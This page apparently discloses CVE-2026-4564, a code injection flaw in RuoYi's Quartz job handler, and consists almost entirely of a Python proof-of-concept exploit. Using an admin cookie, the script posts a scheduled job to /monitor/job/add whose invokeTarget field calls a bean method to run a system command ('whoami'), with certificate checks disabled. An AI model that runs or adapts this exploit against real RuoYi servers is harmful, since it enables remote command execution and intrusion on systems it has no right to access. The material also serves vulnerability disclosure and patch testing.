CVE-2026-4564 RuoYi Quartz Job Handler代码注入漏洞

import requests def exploit(target_url, cookie): """ PoC for CVE-2026-4564 Exploits code injection via invokeTarget parameter. Requires authentication (High Privilege). """ headers = { "User-Agent": "Mozilla/5.0", "Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload targeting the invokeTarget parameter # This payload attempts to execute a system command (e.g., whoami) # Adjust the payload based on the specific vulnerable Bean method available payload_data = { "jobName": "CVE-2026-4564-Exploit", "jobGroup": "DEFAULT", "invokeTarget": "com.example.VulnerableBean.exec('whoami')", "cronExpression": "0 * * * * ?", "misfirePolicy": "1", "concurrent": "1", "status": "0" } # Endpoint to add/execute job url = f"{target_url}/monitor/job/add" try: response = requests.post(url, headers=headers, data=payload_data, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check if code was executed.") print("[+] Response:", response.text) else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage # exploit("http://127.0.0.1:8080", "ADMIN_TOKEN=...")